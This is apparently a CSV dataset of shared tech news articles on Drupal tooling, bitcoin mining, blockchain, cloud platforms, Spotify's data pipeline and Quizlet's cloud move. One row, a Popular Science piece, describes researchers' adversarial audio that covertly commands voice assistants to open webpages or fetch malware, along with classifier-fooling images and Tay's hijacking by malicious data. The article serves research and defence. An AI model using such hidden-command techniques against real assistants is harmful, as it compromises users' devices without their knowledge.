mind, we can only track issue credits when issue participants credit an organization and when maintainers award those credits. Only organizations with a profile on Drupal.org can be credited. Confirmed users can add new organizations . We are all excited to see where this takes us and what we can learn about how organizations that use Drupal are giving back. If your company or organization wants to give back in ways other than contributing in the code and issue queues, consider becoming an organization member , joining one of our supporter programs , or sponsoring a DrupalCon or camp.",en
1459356250,CONTENT SHARED,787067277772219433,3891637997717104548,1776955132850411647,,,,HTML,https://zoocha.com/blog/setting-drupal-code-sniffer,Setting up Drupal Code Sniffer,"A few weeks ago I had to go through the process of setting up php code sniffer on my new computer, and realised how confusing most of the blog posts out there are and how many loops and posts you have to jump through to get it set up. I decided to write a quick post with all the commands in one place and small descriptions for most of the commands: Installing Drupal Coding Sniffer 1. Download php code sniffer (source code: curl -OL curl -OL sudo mv phpcs.phar /usr/bin/phpcs sudo mv phpcbf.phar /usr/bin/phpcbf sudo chmod a+x /usr/bin/phpc* Test that it's installed by running phpcs -h and it should output the code sniffer help. 2. Download the Coder module Note: download the 8.x branch, even if you intend to use it on Drupal 7. You can download it in any 'normal' folder, but not in a Drupal project. cd /folder/where/i/want/coder drush dl coder It should download the latest version which is 8.x - if it doesn't then add --select to the drush command and choose the 8.x branch. 3. Add Drupal standards to PHP Code Sniffer Tell phpcs to use the Drupal standards from the downloaded Coder module: sudo phpcs --config-set installed_paths /folder/where/i/want/coder/coder/coder_sniffer At this point you have PHP Code Sniffer set up with Drupal coding standards. You can use it from command line by running: phpcs --standard=Drupal file/to/check or add it to your favourite text editor/IDE. Adding code sniffer to Sublime Here are the few steps you need to follow to add it to Sublime Text 2/3: 1. Download the Sublime Build file from the repo: wget -O ~/.config/sublime-text-3/Packages/User/DrupalCodingStandard.sublime-build If you don't know where your Sublime installation saves its packages then open Sublime, go to Preferences > Browse Packages, and replace the above path with yours. 2. Activate the Drupal Build file by going to Tools > Build System > DrupalCodingStandard in Sublime. 3. Open any Drupal file and hit Ctrl (Cmd) + B to run the sniffer on that file. Adding code sniffer to PHPStorm I have recently started using so am slowly getting used to it and setting up features I used to use in Sublime. Adding PHPCS to PHPStorm is simple and only takes a few steps. Go into the Settings and either search for the keywords 'code sniffer' or go to Languages&Framerworks then Code Sniffer under the PHP section. In the Development environment I have chosen Local and clicked on the ... next to the drop down. Add your /usr/bin/phpcs path to the phpcs path and click Validate to make sure it picks it up. Now that you have phpcs added as a code sniffer we need to tell the 'Inspections' to use it. In the same settings window, either search for 'code sniffer' again, or go directly to Editor > Inspections . Tick the box for PHP Code Sniffer validation under PHP and then choose the 'Coding standard' from the right hand pane. If the only values in the drop down are 'Custom' or you cannot find 'Drupal' in there then hit the little 'refresh' button next to the drop down and it should pull all the coding standards added to your php code sniffer. Then choose 'Drupal' from the drop down and you are good to go. The code sniffer will start adding errors/warnings inline in Drupal files, or you can run a code inspection manually by going to Code > Inspect Code and choosing either the whole project or the current file. Sources:",en
1459358379,CONTENT SHARED,-2778760500673113802,4340306774493623681,-498266315041649697,,,,HTML,http://cointelegraph.com/news/bitcoin-mining-ethereum-mining-cloud-mining-2016-overview,"Bitcoin Mining, Ethereum Mining, Cloud Mining: 2016 Overview","Bitcoin saw a surge in price between March 2015-2016, bringing back profitability to mining . Is it a good time to start mining again? In the old days, gold needed to be dug out of the earth which required a lot of effort. Things have not changed much since then, someone still needs to make an effort to create 'wealth'. When it comes to cryptocurrencies, they need to be mined as well. This mining is computational and is done by specialised computers that solve very specific math problems. In the case of Bitcoin, only a finite number of them will ever exist - 21 million. So it is possible to solve these math problems, and receive Bitcoin in return till this number is reached. Of course, there is always a catch, and the catch with mining is that the machines used to mine cryptocurrencies require a lot of electricity, and that is an expensive commodity. What makes Mining Profitable Mining profitability is a variable and depends largely on the type of mining software you own, the cost of electricity in your locale, the current price of the cryptocurrency you are mining and, of course, your own overheads. We looked at some mining equipment on the market and compared how they stacked against each other in terms of price, performance and potential profitability. *Source:BitCoinWiki and Mhash/s = millions hashes per second Mhash/J = millions hashes per joule As is apparent from the table, there is mining hardware available for every level and budget. You could be a hobbyist or a full scale bitcoin farm owner and there is something available for you. It is however, important to consider parameters such as power consumption, price of equipment and hashrate before making a purchase. Chinese companies control over 65% of Bitcoins mined Cryptocurrencies like Bitcoin are designed to be difficult to mine with the passage of time as more and more units are mined. With increasing difficulty in mining and the need for better hardware, a lot of people can come together to mine. This collection of people is known as a mining pool. A share is awarded to members of a pool who can show 'valid proof of work'. Miners have a choice of many different mining pools . Usually, joining a smaller pool is the preferred approach so as to avoid concentration of hashing power. Miners can use various approaches to mining: The Pay-per-Share (PPS) approach lets you get a fixed payout for each share that you solve. The payment is instant and is made from the existing resources. Total payouts using PPS are non-variable. Pay Per Last N Shares (PPLNS) approach adds an element of 'luck', which fluctuates between 5-30% on top of the payout you would have received had you used PPS. Slush approach, or Bitcoin Pooled Mining (BPM), is score-based. Older shares, receive lower weight than most recent shares. This has the advantage of reducing the chances of cheating in a round of mining. P2Pool, Eligius, Geometric and Double Geometric approaches are based on other existing approaches and are refinements. We decided to examin Bitcoin mining trends in 2016. According to hashrate distribution data released by Blockchain.info over the past 4 days starting March 29, 2016, the table below shows some popular bitcoin mining pools and their market share. As of the end of March 2016, these 3 Chinese companies control over 65% of Bitcoins mined. Ant Pool is owned by Bitmain Technologies Ltd which is headquartered in Beijing, China . F2Pool and BTCC also have their roots in China. Cloud mining comes of age Cloud mining is a relatively new concept and miners have far more choices in 2016 than ever before from among various cloud mining companies. Edgar Bers, Customer Relations Manager at Hashflare .io, on the emergence of cloud mining says: ""Cloud mining is a relatively new thing but we see that more and more people are getting interested in such service. I believe that this service has a very high impact on current bitcoin community as it allows something which was previously only available to technologically easygoing people. The more people can get involved in cryptocurrency world, the higher are the chances that this will not be something to come and go, but something to stay for a long time. I think any bitcoin enthusiast would like to live up to the day when you can use cryptocurrencies in Walmart, LIDL or Rimi."" Cloud mining is basically a service that will allow you to pay for hashing power, which is hosted in data centres and sold in Gigahash/seconds (GH/s). Many cloud mining plans are available online but it is important to choose a reliable provider. Alex Gromov, Media Buyer at Hashflare.io has this to say: ""When you compare cloud and private mining you will see that cloud mining has its unbeatable benefits, such as no power limitation. You would probably not get more than 6 kWt at your living place, while having a semi-professional ""farm"" is pretty risky due to high fire- and overall security reasons. In our case we use specialized datacenters which are equipped with everything necessary for convenient and risk-free mining."" Cloud mining services to look into in 2016 We looked at some popular cloud mining companies and their offerings in 2016, the cost barrier to cloud mine is relatively cheap and users can start mining immediately. There are a number of cloud mining companies offering services. Genesis Mining was the world's first large scale multi-algorithm based cloud mining service, which provides both bitcoin and altcoin mining solutions. Cldmine.com offers cloud mining services in bitcoin and other cryptocurrencies. According to claims made on their website , $100 invested over a period of 1 year in bitcoin mining would fetch a return 252.77% or will turn into $ 252.77. Hashocean is another provider, which claims to have 392,314 users as of the writing of this article and say they have paid out 137,495 BTC since they started operations. Here is a comparison of some Bitcoin mining contracts according to cryptocompare.com . Edgar Bers of Hashflare.io, says to CoinTelegraph on the profitability of cloud mining: ""Cloud mining is a profitable pursuit if you know what you are doing. While many cloud-mining services provide different mining options, not all of them are the best choice, obviously. The market of mining is very dynamic in general, so you should most probably learn something in the Internet about different options before making a considerable investment. Usually people tend to ignore open information like mining difficulty growth or currency value changes and they get very frustrated once mining becomes less profitable."" Ethereum, the hot new cryptocurrency of 2016 One development that will certainly excite miners in 2016 is ethereum mining. Ethereum is the hot new cryptocurrency that has soared nearly 1000% in 3 months, according to the New York Times . Hashflare.io is in the Ethereum game as well. Alex Gromov reveals to CoinTelegraph: ""Currently HashFlare is building a new datacenter to mine highly popular Ethereum. The Batch 1 of 50GH/s of Ethereum mining hardware has already been launched. In the beginning of April we will launch 100GH/s more. We have even had some pre-sale discounts and some of them are active even now. The minimal unit we offer is 100KH/s for the price of 4.25 USD. We are also preparing a release of new Scrypt hardware based on 28nm technology. Soon the information about the hardware will become public, stay tuned for the news!""",en
1459358408,CONTENT SHARED,-6725796505137573953,4340306774493623681,-498266315041649697,,,,HTML,http://www.thebitcoinchannel.com/archives/55850,Stratumn is building a sort of Heroku for blockchain applications - The Bitcoin Channel,"techcrunch.com / Romain Dillet / March 29, 2016 Meet Stratumn , a Paris-based startup that wants to create a platform-as-a-service for developers interested in the blockchain. With Stratumn, you can build, deploy and run applications on the company's platform, and these applications can communicate with the bitcoin blockchain. It's like Heroku, but for blockchain developers. The company just raised $670,000 (€600,000) from Otium Venture and business angels, such as Ledger Wallet CEO Eric Larchevêque . At heart, the bitcoin blockchain is a distributed database that registers all bitcoin transactions with a timestamp. Many have taken advantage of the blockchain to build applications that were unrelated to bitcoin transactions. For instance, Stampery wants to replace notaries with the bitcoin blockchain. The service can issue legally binding proofs for all your sensitive documents, and these proofs live on the blockchain. But Stratumn is taking this idea one step further and saying that other startups like Stampery are going to appear. Instead of having to redo the hard work from scratch, Stratumn lets your application talk with the blockchain without any effort from your side. READ MORE",en
1459358437,CONTENT SHARED,1457728991321948254,4340306774493623681,-498266315041649697,,,,HTML,http://blogs.wsj.com/moneybeat/2016/03/29/wall-street-goes-big-on-bitcoin-tech/,Wall Street Goes Big on Bitcoin Tech,"The mainstreaming of bitcoin tech continues. Nearly 500 suit-clad Wall Streeters, regulators, professors, and tech execs gathered at the Depository Trust & Clearing Corp.'s attended first ever single-issue public symposium, on blockchain, Tuesday in midtown Manhattan. Earlier Tuesday DTCC, the bank-owned utility for settling trades, also announced its first test of an application of blockchain, for repo trades. Matt Harris, of Bain Capital Ventures, said he had never seen such high-powered talent drawn to back end of bank technology in his 20 years in the space. DTCC estimated that $500 million has been invested by VCs and banks in blockchain, which is touted to be a way to slash costs settling trades by creating one shared record protected by cryptography. Barclays PLC tech executive Lee Braine cautioned that a ""perfect hype storm"" had evolved. Still, the potential for big cost savings versus current systems stirs Wall Street's passions. IBM's Jerry Cuomo said his firm was using blockchain to try to reduce the 40% of its $44 billion in financing provided to customers that is tied up in disputes.",en
1459358457,CONTENT SHARED,-7101541512657907485,4340306774493623681,-498266315041649697,,,,HTML,http://www.coindesk.com/nominations-2016-blockchain-awards/,Coin Center Opens Nominations for the 2016 Blockchain Awards - CoinDesk,"The Blockchain Awards, last held in 2014, are returning as part of the first Coin Center Annual Dinner. This gala affair , held in New York City alongside Consensus 2016 , will be an evening for the digital currency and blockchain community to come together and celebrate a year of achievement in moving this promising technology forward. The awards will highlight companies and individuals who have made outstanding contributions to the digital currency and blockchain industry over the last year. Awards will be made in the following categories: Bitcoin Champion of the Year Best New Startup Most Insightful Journalist Most Promising Consumer Application Most Significant Technical Achievement. CoinDesk readers will have two weeks to nominate their picks in each of these five categories using the form below. Following that, a panel of judges will choose three finalists per category. A second one week voting period will then be opened for CoinDesk readers to choose the winners from those finalists. Finally, the awards will be presented by industry sponsor Blockchain during the event on May 2nd, 2016. Along with a special presentation of the 2016 Blockchain Awards, the gala will feature keynotes from Representative Mick Mulvaney, a US Congressman who established himself as an early champion for digital currency technology in Congress, and veteran investor Fred Wilson of Union Square Ventures. Cast your vote in our poll below: Tickets for the Coin Center Annual Dinner are still available. Visit dinner.coincenter.org for details and sponsorship information. Ballot image via Shutterstock",en
1459359876,CONTENT SHARED,5281570276277574938,-1578287561410088674,-7549635179522179894,,,,HTML,https://azure.microsoft.com/en-us/services/cognitive-services/,Cognitive Services-Intelligence Applications | Microsoft Azure,"Build powerful intelligence into your applications to enable natural and contextual interactions Enable natural and contextual interaction with tools that augment users' experiences using the power of machine-based intelligence. Tap into an ever-growing collection of powerful artificial intelligence algorithms for vision, speech, language, and knowledge. Language Allow your apps to process natural language, evaluate sentiment and topics, and learn how to recognize what users want. Vision State-of-the-art image processing algorithms to build more personalized apps by returning smart insights such as faces, images, and emotion recognition. Speech Processing spoken language in your applications. Knowledge Map complex information and data in order to solve tasks such as intelligent recommendations and semantic search. What our customers are saying ""By leveraging Cortana Intelligence Recommendations capabilities combined with Azure Machine Learning processing power, we have enabled retailers with a Personalized Commerce Experience, allowing them to grow shopper engagement and conversions across all channels."" Frank Kouretas, Chief Product Officer, Orckestra Try Cognitive Services with a free Azure account",en
1459361227,CONTENT SHARED,1128840733277618400,-1443636648652872475,8209530310193218854,,,,HTML,http://www.techrepublic.com/article/google-admits-original-enterprise-cloud-strategy-was-wrong-why-its-gone-in-a-different/,"Google admits original enterprise cloud strategy was wrong, why it's gone in a different direction - TechRepublic","Image: Andy Wolber/TechRepublic Meet Google, a challenger in the cloud platform space. That's a bit odd, since the company clearly knows how to build web systems at scale. This is the company, after all, that delivers YouTube, Gmail, Google Docs, and of course, Google Search. Just a few years ago, Google's sales pitch suggested, ""Build your app on App Engine, just like we do. You'll get great performance and high reliability at a reasonable price."" That wasn't enough. Most enterprises deployed on Amazon Web Services, and some chose Microsoft. SEE: Cloud Data Storage Policy Template (Tech Pro Research) At the Google Cloud Platform Next 2016 conference in March, company leaders showed a different attitude and approach. Eric Schmidt, executive chairman of Google's parent company, Alphabet, summed up the shift in the conference keynote : ""We decided to meet you where you are, as opposed to where we think you should be."" Spoken like a true engineer, that's a huge shift. Schmidt explained, ""There was something fundamentally wrong with my conception, in 2008, of what we were doing. It's not realistic to expect people to go de novo, from an original architecture, into App Engine. So we decided that we had to change our strategy...We didn't give the right stepping stone into the cloud."" Today, containers-think Docker-make it easier for developers to build portable applications without any need to worry about the details of virtual machines. Another system-think Kubernetes-manages the details of all those containers. (From Greek, Kubernetes translates to ""helmsman."" Picture a container ship...Get it?) ""We've finally invented the internet operating system by meeting you where you are,"" said Schmidt. ""And it works at a scale you've never seen before."" To connect enterprise customers to the power of this internet operating system, Google turned to Diane Greene. Greene helped found VMware and led that company for about a decade. By most accounts, she understands enterprise IT concerns. Greene suggested that customers choose the Google Cloud Platform for three reasons , ""[Google Cloud Platform offers] better value-in terms of price and performance, reduced risk-in terms of security and open source software, and, sort of my favorite, the access to innovation."" Customers will likely compare Google Cloud Platform's offerings to those from Amazon Web Services. Brian Stevens, vice president of product management at Google, said , ""Many users are actually using more than one cloud."" And, most likely, that cloud is Amazon's. Enter Google Stackdriver, a tool that Stevens described as ""...a service for monitoring, logging, visualising, and alerting across your cloud services, across your resources, and across your applications."" Customers will be able to monitor the performance of Google Cloud Platform and Amazon Web Services with this one tool. Stevens said that Stackdriver also will support private clouds in the future. In the long term, though, Schmidt thinks Google Cloud Platform could help start the next era of computing. "" This platform is not the end, it's the bottom ,"" he said. ""And there's something above it. And the thing that is above it is machine learning...And this is the next transformation. I've decided to spend as much time as I can on it because I think it's so profound."" ""The programming paradigm changes,"" Schmidt continued. ""Instead of programming a computer, you teach a computer to learn something and it does what you want. It's a fundamental change in programming."" SEE: Google Cloud Platform signs up enterprise giants, how does it compare to AWS? (TechRepublic) Sure, Google wants enterprise customers to compare Google Cloud Platform with Amazon Web Services on price, performance, security, and openness. That's part of Google's desire to ""meet you where you are."" But, this is Google. The company's machine learning offerings today include Cloud Vision, Cloud Speech, and Cloud Translate. Need those capabilities? Use Google Cloud Platform. In business terms, the distinctive innovation is machine learning-as-a-service. Google also provides Cloud Machine Learning as a platform for you to develop your own machine learning system. That's the access to innovation that Greene mentioned. Enterprise buyers' behavior over the next few years will tell us if that's the innovation customers want. Also see",en
1459366951,CONTENT SHARED,-7356135999773525293,-1443636648652872475,8209530310193218854,,,,HTML,http://www.popsci.com/byzantine-science-deceiving-artificial-intelligence,Fooling The Machine,"Two groups, one at Berkeley University and another at Georgetown University, have successfully developed algorithms that can issue speech commands for digital personal assistants, like Siri and Google Now, in the form of bursts of sound unrecognizable to human ears. To a human, these commands just sound like random white noise, but they could be used to tell a voice-activated assistant like Amazon's Alexa to do things that its owner never intended. Nicholas Carlini, one of the Byzantine audio researchers, says that their tests have been able to activate open source audio recognizers, Siri, and Google Now in their tests, with accuracy on all three more than 90 percent. The noise sounds like a science-fiction alien transmission. It's a garbled mix of white noise and human voice, but certainly unrecognizable as a command. With this attack, any phone that hears the noise (they have to specifically target iOS or Android) could be unknowingly forced to visit a webpage that plays the noise, and thus infect other phones near it, Carlini says. In that same scenario, the webpage could also silently download malware onto the device. There's also the possibility these noises could be played over the radio, hidden in white noise or background audio. These attacks can happen because the machine is trained to think that there's readable or important data in almost every input, and also that some things are more common than others, says Goodfellow. It's easier to fool the network into thinking it's seeing a common object, because it thinks that it should be seeing it more commonly. That's why Goodfellow and a separate group at University of Wyoming are able to make the network classify images when there's nothing there, by making it identify white noise, randomly generated black and white imagery. In Goodfellow's research, random white noise he put through the network was most often classified as a horse. This coincidentally brings us back to Clever Hans, our not so mathematically-gifted horse from earlier. Much like Clever Hans, Goodfellow says these neural networks aren't really learning certain ideas, but just how to recognize when they finds the right idea. The distinction is slight, but important. This lack of foundational knowledge makes it easy to maliciously recreate the experience of finding the ""right"" outcome for the algorithm, which is actually a false answer. To understand what is, the machine also must understand what is not. Goodfellow found that when he trained his image classifying networks with both the natural images, and the doctored images (specifying that they were fake), he not only could reduce the efficiency of the attack by more than 90 percent, but the network was better at its original task. ""When you start forcing them to explain the really unusual adversarial examples, it might come up with a even more robust explanation of what the underlying concepts are,"" Goodfellow says. The two audio groups have also used the same approach as the Google researchers to patch language recognition systems against their own attacks, by retraining their networks. They've achieved similar levels of success, with more than 90 percent reduction in attack efficiency. ""It's probably fairly easy for an adversary to fool us, to deceive us. Some of that may be benign, some of that may not be."" It's no surprise that this area of research has garnered interest from the United States military. In fact, the Army Research Laboratory actually sponsored at least two of the most recent papers, including the black box attack. While the Army Lab is proactive in funding research, this doesn't mean the tech is in active development for use in warfare. According to a spokesperson, research usually takes upwards of 10 years to make its way into soldier's hands. Ananthram Swami, a researcher with the U.S. Army Research Laboratory, has had varying levels of participation in recent papers concerning adversarial attacks. The Army's interest lies in the detection and stopping of purposefully deceptive data, in an age where not all sources of information can be vetted properly. Swami points to the bevy of data accessible from public sensors placed by universities and open source projects. ""We don't necessarily control all that data. It's probably fairly easy for an adversary to fool us, to deceive us,"" Swami said. ""Some of that may be benign, some of that may not be."" He also says that as the Army has a vested interest in autonomous robots, tanks, and other vehicles, so this research is obvious. By studying this now, the Army would have a headstart for systems in the field that were immune to potential adversarial attacks. But any group in that uses deep neural networks, which is a quickly growing faction, should have concerns about the potential of adversarial attacks. While machine learning and artificial intelligence systems are still in their infancy, we're at a dangerous time where security oversights can have drastic results. Many companies are placing highly volatile information in the hands of artificially intelligent systems, which have not endured the scrutiny of time. Our neural networks are simply too young for us to know everything about them. A similar oversight led to Tay, Microsoft's Twitter chatbot that quickly turned into a genocidal racist. A torrent of malicious data, and a foreseeably terrible ""repeat after me"" function, led Tay to deviate wildly from her original programming. The bot was hijacked by bad training data from the wild, and serves as a handy example for what can happen when machine learning is poorly implemented. Kantchelian says that he doesn't think the door is completely closed for any of these attacks, even with the promising research from the Google team. ""At least in computer security, unfortunately the attackers are always ahead of us,"" Kantchelian says. ""So it's going to be a little dangerous to say we solved all the problems of adversarial machine learning by retraining.""",en
1459367363,CONTENT SHARED,2313825045587317872,3891637997717104548,1776955132850411647,,,,HTML,https://labs.spotify.com/2016/03/10/spotifys-event-delivery-the-road-to-the-cloud-part-iii/,Spotify's Event Delivery - The Road to the Cloud (Part III),"Whenever a user performs an action in the Spotify client-such as listening to a song or searching for an artist-a small piece of information, an event, is sent to our servers. Event delivery, the process of making sure that all events gets transported safely from clients all over the world to our central processing system, is an interesting problem. In this series of blog posts, we are going to look at some of the work we have done in this area. More specifically, we are going to look at the architecture of our new event delivery system, and tell you why we choose to base our new system on Google Cloud managed services. first post in this series, we talked about how our old event system worked and some of the lessons we learned from operating it. In the second post , we covered the design of our new event delivery system, and why we choose Cloud Pub/Sub as the transport mechanism for all events. In this third and final post, we will explain how we intend to consume all the published events with Dataflow, and what we have discovered about the performance of this approach so far. Exporting events from Pub/Sub to hourly buckets with Dataflow Most data jobs running in Spotify today are batch jobs. They require events to be reliably exported to a persistent storage. As for persistent storage, we've traditionally used Distributed File System (HDFS) and . To support Spotify's growth-measured both in size of stored data and the number of engineers-we're slowly shifting towards replacing HDFS with Cloud Storage , and Hive with . The Extract, Transform and Load (ETL) job is the component which we're using to export data to HDFS and Cloud Storage. Hive and BigQuery exports are handled by the batch jobs that are transforming data from hourly buckets on HDFS and Cloud Storage. Figure 1. Event delivery system design All the exported data is being partitioned, based on the event timestamps, to hourly buckets. This is the public interface that was introduced by our very first event delivery system. That system was based on the command and it copied hourly based syslog files from all the servers to HDFS. The ETL job must determine, with high probability, that all data for the hourly bucket has been written to a persistent storage. When no more data for the hourly bucket is expected to arrive, the bucket is marked as complete. Late-arriving data for already completed bucket can't be appended to it, since jobs reading the data generally only read data once from a hourly bucket. To cope with this, the ETL job needs to handle late data differently. All late data is written to a currently open hourly bucket, by shifting event timestamp forward to future. For writing the ETL job, we decided to experiment with . This choice was influenced by us wanting to have as little operational responsibility as possible and having others solve hard problem for us. Dataflow is both a framework for writing data pipelines and a fully managed service on Google Cloud for executing those pipelines. It comes with a support for Cloud Pub/Sub , Cloud Storage and BigQuery out of the box. Writing pipelines in Dataflow feels a lot like writing pipelines using Apache . This is not a big surprise considering that both projects were inspired by . The difference is that Dataflow offers a unified model for both streaming and batch, while Crunch only has a batch model. This section goes into quite a bit of detail with regards to the challenges we encountered building the Dataflow ETL job for event delivery. It might be a bit challenging to approach if you have not had prior experience with Dataflow or similar systems. A good companion text if the concepts and terminology is new to you is the Figure 2. The ETL job pipeline DataFlow paper from Google. Figure 3. Window transform To achieve good end-to-end latency, we wrote our ETL as a streaming job. By having it constantly running, we're able to incrementally fill discrete hourly buckets as the data arrives. This gives us better latency compared to a batch job that exported data once at the end of every hour. Figure 4. The code for ""Assign Hourly Windows"" transform The ETL job is using Dataflow concept to partition data to event time based hourly buckets. In Dataflow, windows can be assigned by both processing and event time. The fact that windows can be created based on event timestamp gives Dataflow advantages compared to other streaming frameworks. So far, only Apache Flink supports windowing in both processing and event time. Every window consists of one or multiple panes, and every pane contains a set of elements. A trigger, which is assigned to every window, determines how the panes are created. Window panes are only emitted after data is passed through a GroupByKey . Since GroupByKey groups by both key and window, all aggregated elements in a single pane have the same key and belong to the same window. Interestingly, GroupByKey is a memory-bound transform. Dataflow provides a mechanism called watermark that can be used to determine when to close a window. It uses the event times of incoming data stream to calculate a point in time when it is highly probable that all events for a specific window has arrived. Figure 5. Number of incoming events per second The ETL implementation deep dive In our Event Delivery System, we have 1:1 mapping between event types and Cloud Pub/Sub topics. A single ETL job consumes a single event type stream. We use independent ETL jobs to consume data for all the event types. To distribute load equally across all available workers, data flow is sharded before it reaches the transform that assigns a window to each event. The number of shards that we're using is a function of the number of workers allocated to the job. Figure 6. ""Write to HDFS/GCS"" transform @Override public PCollection<KV<String, Iterable<Gabo.EventMessage>>> apply( final PCollection<KV<String, Gabo.EventMessage>> shardedEvents) { return shardedEvents .apply(""Assign Hourly Windows"", Window.<KV<String, Gabo.EventMessage>>into( FixedWindows.of(ONE_HOUR)) .withAllowedLateness(ONE_DAY) .triggering( AfterWatermark.pastEndOfWindow() .withEarlyFirings(AfterPane.elementCountAtLeast(maxEventsInFile)) .withLateFirings(AfterFirst.of(AfterPane.elementCountAtLeast(maxEventsInFile), AfterProcessingTime.pastFirstElementInPane() .plusDelayOf(TEN_SECONDS)))) .discardingFiredPanes()) .apply(""Aggregate Events"", GroupByKey.create()); } When assigning windows, we have an trigger that is set to emit panes every elements until the window is closed. Thanks to the trigger, hourly buckets are continually filled as the data arrives. Having the trigger configured like this help us not only with achieving lower export latency but it also is a workaround the GroupByKey limitations. The amount of data that is collected in panes need to fit into the memory on the worker machines, since GroupByKey is a memory-bound transform. Figure 7. Number of written files per second Figure 8. Watermark lag in milliseconds When the window is closed, pane production is orchestrated with a trigger. The late trigger creates panes of data either after every elements or after ten seconds of processing time. The events are dropped if they are more than one day late. Materialization of panes is done in ""Aggregate Events"" transform which is nothing else than a GroupByKey transform. To monitor the number of incoming events per second flowing through the ETL job, we apply a ""Monitor Average RPS Of Timely And Late Events "" to the output of ""Assign Hourly Windows"". All metrics from this transform are sent, as custom metrics, to Cloud Monitoring . The metrics are calculated on sliding windows of five minutes which are emitted every minute. Event timeliness information can be obtained only after event has been assigned to a window. Comparing the element's window maximum timestamp with the current watermark gives us that information. Since the watermark propagation isn't synchronized between transforms, detecting timeliness in this way can be inaccurate. The number of falsely detected late events we're observing today is fairly low: less than one per day. We could perfectly detect event timeliness if the monitoring transform would be applied to the output of ""Aggregate Events"". The drawback of this approach would be the unpredictability of when the metrics are emitted, since the window trigger is based on the number of elements and the event time. To guarantee that only a single file is written for a pane, even in the face of failures, every emitted pane gets a unique ID assigned to it. The pane ID is then used as a unique ID for all written files. Files are written in Avro format with a schema that corresponds to the event's schema ID. A completeness marker for the hourly buckets is written only once. Main output from ""Write Pane"" is re-windowed into hourly window and aggregated with ""Aggregated Write Successes"" to achieve this. Metrics are emitted as a side outputs of ""Write Pane"". We emit metrics that show how many files were written per second, the average lateness of events, and the lag of the watermark compared to the current time. All these metrics are calculated on sliding windows that are 5 minutes long and are emitted every minute. ETL Job Next Steps The ETL job implementation is in a prototyping phase. Currently, we have four ETL jobs running (see Figure 5). The smallest job consumes around 30 events per second, while the largest peaks at around 100k events per second. The watermark behaviour is still a mystery to us. We still need to verify that the watermark calculation has predictable behaviour both during the disaster scenarios and happy path scenarios. Lastly, we need to define a good CI/CD model to enable fast and safe iterations on the ETL job. This isn't trivial task to do: we need to manage one ETL job per event type, and we have roughly 1000 event types. Event Delivery System In Cloud We're actively working on bringing the new system to production. The preliminary numbers we obtained from running the new system in the experimental phase look very promising. The worst end-to-end latency observed with the new system is four times lower than the end-to-end latency of old system. But boosting performance isn't the only thing we want to get from the new system. Our bet is that by using cloud-managed products we will have a much lower operational overhead. That in turn means we will have much more time to make Spotify's products better .",en
1459367504,CONTENT SHARED,-518690781085251687,3891637997717104548,-910102441365544094,,,,HTML,https://quizlet.com/blog/whats-the-best-cloud-probably-gcp,What's the Best Cloud? Probably GCP,"In 2015 we migrated Quizlet from our legacy host to a large cloud provider. AWS is the default choice for most companies, but after comparing the options, we went with Google Cloud Platform (GCP). This is a summary of our analysis. Quizlet is now the ~50th biggest website in the U.S. in terms of traffic. Our technical infrastructure of 200 cloud machines supports 200,000 transactions a minute on an average day with significant shifts in traffic that depend on the school calendar. All those transactions are students learning on Quizlet and we have a responsibility to make sure that their experience is stable and performant. If Quizlet goes down it's like ripping a textbook out of students' hands in the middle of class, so we make our cloud infrastructure and deployment a top priority. Outside of employee compensation, cloud spend is Quizlet's biggest expense. Even minor tweaks to our infrastructure can cost us tens of thousands of dollars a month. In early 2015, we realized that the long-term success of our infrastructure required us to move from our existing cloud provider. This presented a somewhat rare opportunity to carefully analyze existing cloud providers and consider how we wanted to run our infrastructure. Anecdotally, very few organizations holistically compare cloud providers. What cloud is the best long-term bet for Quizlet? We approached this problem in several ways: Analyzing the cloud provider market and narrowing our focus to Amazon Web Services and Google Cloud Platform. Benchmarking the features we care most about; price and performance for CPU, memory, networking, and disk technology. Understanding the long-term trends in the industry and the roadmap and potential of AWS and GCP. Modelling our costs on both clouds. After stepping through the analysis and weighing our options we chose Google Cloud Platform. We believe GCP has better core technology, in particular its networking and disk technology. Additionally, GCP's pricing model is better in almost every respect than AWS's. Though AWS has a much larger user base and ecosystem, we have more confidence in GCP's product roadmap and future potential, given the strength of its existing technology. Ultimately it was difficult to imagine not choosing the platform with the better tech and better pricing, so GCP was the winner. AWS seems to be the default choice for a lot of customers, but it's still early days for the cloud market. Cloud providers are consolidating into an oligopoly of massively scaled competitors, and Google is one of the few players capable of competing at that level. It's in a unique position of leveraging internal technology to compete with other public clouds, which is just now beginning to bear fruit. In this post, I'll describe our reasons for moving to a new cloud, our viewpoint on the cloud provider market, and our methodology for comparing AWS and GCP, which is focused on EC2 and GCE, the compute product of both clouds. A public cloud is a complex product; It's difficult to compare them fairly and your case may be different than ours. Regardless, I hope our analysis will be useful in deciding which cloud you run on. On August 1st, 2015, Quizlet switched over to run completely on GCP. Our cloud is the foundation for our application, and our biggest vendor, so we're heavily incentivized to pick and run on the best available cloud provider. In other words, we bet our future performance and stability when we decided on a cloud, and we picked GCP in a self-interested analysis. Now that we're running on GCP, it's also in our interest for more developers and companies to understand its advantages and use it - hence this post. Why would we migrate clouds? Cloud platforms are sticky by nature and most cloud operators never switch after reaching a certain scale. In the most common case, you write your application on a cloud and then grow up with it. At greater scale it sometimes then makes sense to migrate from the cloud to your own datacenter. Running your entire operation in the cloud and then switching to a different one is painful, doesn't immediately improve your product, and you need to believe you'll get a big win to make it worth it. From 2007 to 2015 Quizlet ran on Joyent, a cloud platform built on SmartOS, which is a Solaris fork (Joyent also offers Linux hosting). Joyent has a strong engineering team, and SmartOS is ahead of its time in many ways. Joyent also provided us with the best support you could hope for in a cloud platform. Why would we switch from a cloud with great technology and support to something unknown? We need a Linux-first cloud. In the past 10 years, Linux has devastatingly won as the server OS, so much so that a lot of software is now targeted specifically at Linux, with ""Unix"" as an afterthought. There was overhead for us in running on a non-standard platform - several services we run needed to be tweaked specifically for SmartOS, and some applications wouldn't compile. Our thesis on cloud providers is: the market will consolidate to a few massively-scaled participants. Quizlet's traffic has grown at least 50% a year for the past 7 years. If this trend continues then our cloud footprint will inevitably scale up as well. It's imperative that Quizlet run on one of the massively-scaled winners of the market. Our next step was to to evaluate the cloud provider landscape and decide on the best cloud from which to operate Quizlet. The Cloud Provider Landscape AWS sits comfortably within ""no one ever got fired for picking"" territory in the public cloud market. But it's still early days in that space, and there are a number of smaller players and recent entrants hoping to gain market share. Who will win the market? There are two keys to competing as a public cloud: technology and scale. The scale at which modern cloud platforms can operate has increased tremendously, and drives the economics of the business. If you run a large platform it's obvious that the cost of providing a CPU resource can be brought down by buying and operating in bulk. This will be the most important factor in shaking out the cloud provider marketplace 